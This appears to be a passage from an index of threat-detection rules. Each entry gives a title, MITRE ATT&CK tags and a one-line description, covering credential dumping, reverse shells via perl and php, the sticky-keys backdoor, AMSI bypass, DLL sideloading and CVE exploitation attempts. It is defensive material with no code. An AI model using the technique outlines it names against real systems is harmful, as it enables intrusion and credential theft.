Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

Read More
Password Protected ZIP File Opened (Email Attachment)

Aug 12, 2024 · attack.defense-evasion attack.initial-access attack.t1027 attack.t1566.001 ·
Share on:

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

Read More
Password Protected ZIP File Opened (Suspicious Filenames)

Aug 12, 2024 · attack.command-and-control attack.defense-evasion attack.t1027 attack.t1105 attack.t1036 ·
Share on:

Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.

Read More
Password Provided In Command Line Of Net.EXE

Aug 12, 2024 · attack.defense-evasion attack.initial-access attack.persistence attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1078 ·
Share on:

Detects a when net.exe is called with a password in the command line

Read More
Password Reset By User Account

Aug 12, 2024 · attack.persistence attack.credential-access attack.t1078.004 ·
Share on:

Detect when a user has reset their password in Azure AD

Read More
Password Spray Activity

Aug 12, 2024 · attack.t1110 attack.credential-access ·
Share on:

Indicates that a password spray attack has been successfully performed.

Read More
Path To Screensaver Binary Modified

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.002 ·
Share on:

Detects value modification of registry key containing path to binary used as screensaver.

Read More
Path Traversal Exploitation Attempts

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects path traversal exploitation attempts

Read More
Payload Decoded and Decrypted via Built-in Utilities

Aug 12, 2024 · attack.t1059 attack.t1204 attack.execution attack.t1140 attack.defense-evasion attack.s0482 attack.s0402 ·
Share on:

Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.

Read More
PCRE.NET Package Image Load

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects processes loading modules related to PCRE.NET package

Read More
PCRE.NET Package Temp Files

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects processes creating temp files related to PCRE.NET package

Read More
PDF File Created By RegEdit.EXE

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of a file with the ".pdf" extension by the "RegEdit.exe" process. This indicates that a user is trying to print/save a registry key as a PDF in order to potentially extract sensitive information and bypass defenses.

Read More
PDQ Deploy Remote Adminstartion Tool Execution

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1072 ·
Share on:

Detect use of PDQ Deploy remote admin tool

Read More
Periodic Backup For System Registry Hives Enabled

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects the enabling of the "EnablePeriodicBackup" registry value. Once enabled, The OS will backup System registry hives on restarts to the "C:\Windows\System32\config\RegBack" folder. Windows creates a "RegIdleBackup" task to manage subsequent backups. Registry backup was a default behavior on Windows and was disabled as of "Windows 10, version 1803".

Read More
Perl Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.

Read More
Persistence Via Cron Files

Aug 12, 2024 · attack.persistence attack.t1053.003 ·
Share on:

Detects creation of cron file or files in Cron directories which could indicates potential persistence.

Read More
Persistence Via Disk Cleanup Handler - Autorun

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

Read More
Persistence Via Hhctrl.ocx

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary

Read More
Persistence Via New SIP Provider

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1553.003 ·
Share on:

Detects when an attacker register a new SIP provider for persistence and defense evasion

Read More
Persistence Via Sticky Key Backdoor

Aug 12, 2024 · attack.t1546.008 attack.privilege-escalation ·
Share on:

By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privilleged shell is launched.

Read More
Persistence Via Sudoers Files

Aug 12, 2024 · attack.persistence attack.t1053.003 ·
Share on:

Detects creation of sudoers file or files in "sudoers.d" directory which can be used a potential method to persiste privileges for a specific user.

Read More
Persistence Via TypedPaths - CommandLine

Aug 12, 2024 · attack.persistence ·
Share on:

Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt

Read More
PetitPotam Suspicious Kerberos TGT Request

Aug 12, 2024 · attack.credential-access attack.t1187 ·
Share on:

Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.

Read More
Phishing Pattern ISO in Archive

Aug 12, 2024 · attack.initial-access attack.t1566 ·
Share on:

Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)

Read More
Php Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.

Read More
PIM Alert Setting Changes To Disabled

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1078 ·
Share on:

Detects when PIM alerts are set to disabled.

Read More
PIM Approvals And Deny Elevation

Aug 12, 2024 · attack.privilege-escalation attack.t1078.004 ·
Share on:

Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.

Read More
Ping Hex IP

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.t1027 ·
Share on:

Detects a ping command that uses a hex encoded IP address

Read More
Pingback Backdoor Activity

Aug 12, 2024 · attack.persistence attack.t1574.001 detection.emerging-threats ·
Share on:

Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report

Read More
Pingback Backdoor DLL Loading Activity

Aug 12, 2024 · attack.persistence attack.t1574.001 detection.emerging-threats ·
Share on:

Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report

Read More
Pingback Backdoor File Indicators

Aug 12, 2024 · attack.persistence attack.t1574.001 detection.emerging-threats ·
Share on:

Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report

Read More
PktMon.EXE Execution

Aug 12, 2024 · attack.credential-access attack.t1040 ·
Share on:

Detects execution of PktMon, a tool that captures network packets.

Read More
Pnscan Binary Data Transmission Activity

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT

Read More
Port Forwarding Activity Via SSH.EXE

Aug 12, 2024 · attack.command-and-control attack.lateral-movement attack.t1572 attack.t1021.001 attack.t1021.004 ·
Share on:

Detects port forwarding activity via SSH.exe

Read More
Possible Coin Miner CPU Priority Param

Aug 12, 2024 · attack.privilege-escalation attack.t1068 ·
Share on:

Detects command line parameter very often used with coin miners

Read More
Possible DC Shadow Attack

Aug 12, 2024 · attack.credential-access attack.t1207 ·
Share on:

Detects DCShadow via create new SPN

Read More
Possible DCSync Attack

Aug 12, 2024 · attack.t1033 attack.discovery ·
Share on:

Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.

Read More
Possible Exploitation of Exchange RCE CVE-2021-42321

Aug 12, 2024 · attack.lateral-movement attack.t1210 detection.emerging-threats ·
Share on:

Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321

Read More
Possible Impacket SecretDump Remote Activity

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.004 attack.t1003.003 ·
Share on:

Detect AD credential dumping using impacket secretdump HKTL

Read More
Possible Impacket SecretDump Remote Activity - Zeek

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.004 attack.t1003.003 ·
Share on:

Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml

Read More
Possible PetitPotam Coerce Authentication Attempt

Aug 12, 2024 · attack.credential-access attack.t1187 ·
Share on:

Detect PetitPotam coerced authentication activity.

Read More
Possible PrintNightmare Print Driver Install

Aug 12, 2024 · attack.execution cve.2021-1678 cve.2021-1675 cve.2021-34527 ·
Share on:

Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675). The occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.

Read More
Possible Shadow Credentials Added

Aug 12, 2024 · attack.credential-access attack.t1556 ·
Share on:

Detects possible addition of shadow credentials to an active directory object.

Read More
Potential 7za.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "7za.dll"

Read More
Potential Access Token Abuse

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1134.001 stp.4u ·
Share on:

Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag".

Read More
Potential ACTINIUM Persistence Activity

Aug 12, 2024 · attack.persistence attack.t1053 attack.t1053.005 detection.emerging-threats ·
Share on:

Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.

Read More
Potential Active Directory Enumeration Using AD Module - ProcCreation

Aug 12, 2024 · attack.reconnaissance attack.discovery attack.impact ·
Share on:

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.

Read More
Potential Active Directory Enumeration Using AD Module - PsModule

Aug 12, 2024 · attack.reconnaissance attack.discovery attack.impact ·
Share on:

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.

Read More
Potential Active Directory Enumeration Using AD Module - PsScript

Aug 12, 2024 · attack.reconnaissance attack.discovery attack.impact ·
Share on:

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.

Read More
Potential AD User Enumeration From Non-Machine Account

Aug 12, 2024 · attack.discovery attack.t1087.002 ·
Share on:

Detects read access to a domain user from a non-machine account

Read More
Potential Adplus.EXE Abuse

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1003.001 ·
Share on:

Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.

Read More
Potential Amazon SSM Agent Hijacking

Aug 12, 2024 · attack.command-and-control attack.persistence attack.t1219 ·
Share on:

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

Read More
Potential AMSI Bypass Script Using NULL Bits

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

Read More
Potential AMSI Bypass Using NULL Bits

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

Read More
Potential AMSI COM Server Hijacking

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless

Read More
Potential Antivirus Software DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc

Read More
Potential Application Whitelisting Bypass via Dnx.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1027.004 ·
Share on:

Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code. Attackers might abuse this in order to bypass application whitelisting.

Read More
Potential appverifUI.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "appverifUI.dll"

Read More
Potential APT FIN7 Exploitation Activity

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1059.003 ·
Share on:

Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains.

Read More
Potential APT FIN7 POWERHOLD Execution

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0046 detection.emerging-threats ·
Share on:

Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs

Read More
Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity

Aug 12, 2024 · attack.execution attack.g0046 detection.emerging-threats ·
Share on:

Detects specific command line execution used by FIN7 as reported by WithSecureLabs for reconnaissance and POWERTRASH execution

Read More
Potential APT FIN7 Related PowerShell Script Created

Aug 12, 2024 · attack.execution attack.g0046 detection.emerging-threats ·
Share on:

Detects PowerShell script file creation with specific name or suffix which was seen being used often by FIN7 PowerShell scripts

Read More
Potential APT Mustang Panda Activity Against Australian Gov

Aug 12, 2024 · attack.execution attack.g0129 detection.emerging-threats ·
Share on:

Detects specific command line execution used by Mustang Panda in a targeted attack against the Australian government as reported by Lab52

Read More
Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 detection.emerging-threats ·
Share on:

Detects potential BlueMushroom DLL loading activity via regsvr32 from AppData Local

Read More
Potential APT10 Cloud Hopper Activity

Aug 12, 2024 · attack.execution attack.g0045 attack.t1059.005 detection.emerging-threats ·
Share on:

Detects potential process and execution activity related to APT10 Cloud Hopper operation

Read More
Potential Arbitrary Code Execution Via Node.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc

Read More
Potential Arbitrary Command Execution Using Msdt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability

Read More
Potential Arbitrary Command Execution Via FTP.EXE

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".

Read More
Potential Arbitrary DLL Load Using Winword

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.

Read More
Potential Arbitrary File Download Using Office Application

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects potential arbitrary file download using a Microsoft Office application

Read More
Potential Arbitrary File Download Via Cmdl32.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.

Read More
Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.execution attack.t1190 attack.t1059 cve.2021-26084 detection.emerging-threats ·
Share on:

Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084

Read More
Potential Attachment Manager Settings Associations Tamper

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)

Read More
Potential Attachment Manager Settings Attachments Tamper

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects tampering with attachment manager settings policies attachments (See reference for more information)

Read More
Potential AutoLogger Sessions Tampering

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging

Read More
Potential AVKkid.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "AVKkid.dll"

Read More
Potential Azure Browser SSO Abuse

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1574.002 ·
Share on:

Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.

Read More
Potential Baby Shark Malware Activity

Aug 12, 2024 · attack.execution attack.defense-evasion attack.discovery attack.t1012 attack.t1059.003 attack.t1059.001 attack.t1218.005 detection.emerging-threats ·
Share on:

Detects activity that could be related to Baby Shark malware

Read More
Potential Base64 Encoded User-Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.

Read More
Potential BearLPE Exploitation

Aug 12, 2024 · attack.privilege-escalation attack.t1053.005 car.2013-08-001 detection.emerging-threats ·
Share on:

Detects potential exploitation of the BearLPE exploit using Task Scheduler ".job" import arbitrary DACL write\par

Read More
Potential Binary Impersonating Sysinternals Tools

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects binaries that use the same name as legitimate sysinternals tools to evade detection

Read More
Potential Binary Or Script Dropper Via PowerShell

Aug 12, 2024 · attack.persistence ·
Share on:

Detects PowerShell creating a binary executable or a script file.

Read More
Potential Binary Proxy Execution Via Cdb.EXE

Aug 12, 2024 · attack.execution attack.t1106 attack.defense-evasion attack.t1218 attack.t1127 ·
Share on:

Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file

Read More
Potential Binary Proxy Execution Via VSDiagnostics.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of "VSDiagnostics.exe" with the "start" command in order to launch and proxy arbitrary binaries.

Read More
Potential BlackByte Ransomware Activity

Aug 12, 2024 · detection.emerging-threats attack.execution attack.defense-evasion attack.impact attack.t1485 attack.t1498 attack.t1059.001 attack.t1140 ·
Share on:

Detects command line patterns used by BlackByte ransomware in different operations

Read More
Potential Browser Data Stealing

Aug 12, 2024 · attack.credential-access attack.t1555.003 ·
Share on:

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

Read More
Potential Bucket Enumeration on AWS

Aug 12, 2024 · attack.discovery attack.t1580 ·
Share on:

Looks for potential enumeration of AWS buckets via ListBuckets.

Read More
Potential Bumblebee Remote Thread Creation

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 attack.t1059.001 detection.emerging-threats ·
Share on:

Detects remote thread injection events based on action seen used by bumblebee

Read More
Potential CCleanerDU.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "CCleanerDU.dll"

Read More
Potential CCleanerReactivator.DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "CCleanerReactivator.dll"

Read More
Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-44877 detection.emerging-threats ·
Share on:

Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877

Read More
Potential Chrome Frame Helper DLL Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of "chrome_frame_helper.dll"

Read More
Potential CobaltStrike Process Patterns

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects potential process patterns related to Cobalt Strike beacon activity

Read More
Potential CobaltStrike Service Installations - Registry

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.lateral-movement attack.t1021.002 attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.

Read More
Potential COLDSTEEL Persistence Service DLL Creation

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects the creation of a file in a specific location and with a specific name related to COLDSTEEL RAT

Read More
Potential COLDSTEEL Persistence Service DLL Load

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects a suspicious DLL load by an "svchost" process based on location and name that might be related to ColdSteel RAT. This DLL location and name has been seen used by ColdSteel as the service DLL for its persistence mechanism

Read More
Potential COLDSTEEL RAT File Indicators

Aug 12, 2024 · attack.persistence attack.defense-evasion detection.emerging-threats ·
Share on:

Detects the creation of a file named "dllhost.exe" in the "C:\users\public\Documents" directory. Seen being used by the COLDSTEEL RAT in some of its variants.

Read More
Potential COLDSTEEL RAT Windows User Creation

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects creation of a new user profile with a specific username, seen being used by some variants of the COLDSTEEL RAT.

Read More
Potential COM Object Hijacking Via TreatAs Subkey - Registry

Aug 12, 2024 · attack.persistence attack.t1546.015 ·
Share on:

Detects COM object hijacking via TreatAs subkey

Read More
Potential COM Objects Download Cradles Usage - Process Creation

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

Read More
Potential COM Objects Download Cradles Usage - PS Script

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

Read More
Potential Command Line Path Traversal Evasion Attempt

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline

Read More
Potential Commandline Obfuscation Using Escape Characters

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·
Share on:

Detects potential commandline obfuscation using known escape characters

Read More
Potential CommandLine Path Traversal Via Cmd.EXE

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking

Read More
Potential Compromised 3CXDesktopApp Beaconing Activity - DNS

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise

Read More
Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise

Read More
Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise

Read More
Potential Compromised 3CXDesktopApp ICO C2 File Download

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential malicious .ICO files download from a compromised 3CXDesktopApp via web requests to the the malicious Github repository

Read More
Potential Compromised 3CXDesktopApp Update Activity

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution detection.emerging-threats ·
Share on:

Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software

Read More
Potential Configuration And Service Reconnaissance Via Reg.EXE

Aug 12, 2024 · attack.discovery attack.t1012 attack.t1007 ·
Share on:

Detects the usage of "reg.exe" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.

Read More
Potential Container Discovery Via Inodes Listing

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.

Read More
Potential Conti Ransomware Activity

Aug 12, 2024 · attack.impact attack.s0575 attack.t1486 detection.emerging-threats ·
Share on:

Detects a specific command used by the Conti ransomware group

Read More
Potential Conti Ransomware Database Dumping Activity Via SQLCmd

Aug 12, 2024 · attack.collection attack.t1005 detection.emerging-threats ·
Share on:

Detects a command used by conti to dump database

Read More
Potential Cookies Session Hijacking

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "-c" flag in order to save cookie data.

Read More
Potential Credential Dumping Activity Via LSASS

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·
Share on:

Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.

Read More
Potential Credential Dumping Attempt Using New NetworkProvider - CLI

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

Read More
Potential Credential Dumping Attempt Using New NetworkProvider - REG

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

Read More
Potential Credential Dumping Attempt Via PowerShell Remote Thread

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects remote thread creation by PowerShell processes into "lsass.exe"

Read More
Potential Credential Dumping Via LSASS Process Clone

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1003.001 ·
Share on:

Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity

Read More
Potential Credential Dumping Via LSASS SilentProcessExit Technique

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process

Read More
Potential Credential Dumping Via WER

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass

Read More
Potential Credential Dumping Via WER - Application

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects Windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential

Read More
Potential Crypto Mining Activity

Aug 12, 2024 · attack.impact attack.t1496 ·
Share on:

Detects command line parameters or strings often used by crypto miners

Read More
Potential CSharp Streamer RAT Loading .NET Executable Image

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool.

Read More
Potential CVE-2021-26857 Exploitation Attempt

Aug 12, 2024 · attack.t1203 attack.execution cve.2021-26857 detection.emerging-threats ·
Share on:

Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service

Read More
Potential CVE-2021-27905 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-27905 detection.emerging-threats ·
Share on:

Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.

Read More
Potential CVE-2021-40444 Exploitation Attempt

Aug 12, 2024 · attack.execution attack.t1059 cve.2021-40444 detection.emerging-threats ·
Share on:

Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations

Read More
Potential CVE-2021-42278 Exploitation Attempt

Aug 12, 2024 · attack.credential-access attack.t1558.003 cve.2021-42278 detection.emerging-threats ·
Share on:

The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.

Read More
Potential CVE-2021-42287 Exploitation Attempt

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.

Read More
Potential CVE-2022-21587 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-21587 detection.emerging-threats ·
Share on:

Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution.

Read More
Potential CVE-2022-26809 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1569.002 cve.2022-26809 detection.emerging-threats ·
Share on:

Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)

Read More
Potential CVE-2022-46169 Exploitation Attempt

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2022-46169 detection.emerging-threats ·
Share on:

Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169

Read More
Potential CVE-2023-21554 QueueJumper Exploitation

Aug 12, 2024 · attack.privilege-escalation attack.execution cve.2023-21554 detection.emerging-threats ·
Share on:

Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)

Read More
Potential CVE-2023-2283 Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2023-2283 detection.emerging-threats ·
Share on:

